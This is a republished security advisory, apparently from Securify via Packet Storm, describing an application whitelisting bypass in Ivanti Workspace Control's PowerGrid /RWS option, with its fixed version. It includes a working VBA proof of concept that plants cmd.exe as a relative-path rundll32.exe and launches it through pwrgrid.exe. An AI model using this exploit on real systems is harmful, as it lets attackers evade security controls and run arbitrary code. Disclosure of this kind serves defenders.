Ivanti Workspace Control Application PowerGrid RWS Whitelist Bypass

It was found that the PowerGrid application will execute rundll32.exe from a relative path when it is started with the /RWS command line option. An attacker can abuse this issue to bypass Application Whitelisting in order to run arbitrary code on the target machine. This issue was successfully verified on Ivanti Workspace Control version 10.2.700.1.


MD5 | 81f68b864a5e934987060adf6222477b

Download
------------------------------------------------------------------------
Ivanti Workspace Control Application Whitelist bypass via PowerGrid /RWS
command line argument
------------------------------------------------------------------------
Yorick Koster, August 2018

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
It was found that the PowerGrid application will execute rundll32.exe
from a relative path when it is started with the /RWS command line
option. An attacker can abuse this issue to bypass Application
Whitelisting in order to run arbitrary code on the target machine.

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully verified on Ivanti Workspace Control version
10.2.700.1.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue was resolved in Ivanti Workspace Control version 10.2.950.0.
PowerGrid now uses the GetSystemDirectory() function to construct an
absolute path to rundll32.exe.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://www.securify.nl/advisory/SFY20180801/ivanti-workspace-control-application-whitelist-bypass-via-powergrid-_rws-command-line-argument.html


Proof of concept

The VBA code below demonstrates this issue. The code tries to run cmd.exe from the %TEMP% folder.

Private Sub PowerGridAWLBypass()
   On Error Resume Next
   Dim tmpPath, resPath, targetPath
   tmpPath = Environ("TEMP")
   resPath = Environ("RESPFDIR")
   targetPath = Environ("SystemRoot") & "\System32\cmd.exe"
   
   FileCopy targetPath, tmpPath & "\rundll32.exe"
   ChDir tmpPath
   Dim fso As Object
   Set fso = CreateObject("Scripting.FileSystemObject")
   Dim oFile As Object
   Set oFile = fso.CreateTextFile(tmpPath & "\foo.xml")
   oFile.WriteLine "<foo></foo>"
   oFile.Close
   Set fso = Nothing
   Set oFile = Nothing
   Shell resPath & "\pwrgrid.exe /RWS foo.xml", vbNormalFocus
End Sub

Source: packetstormsecurity.com
Related Posts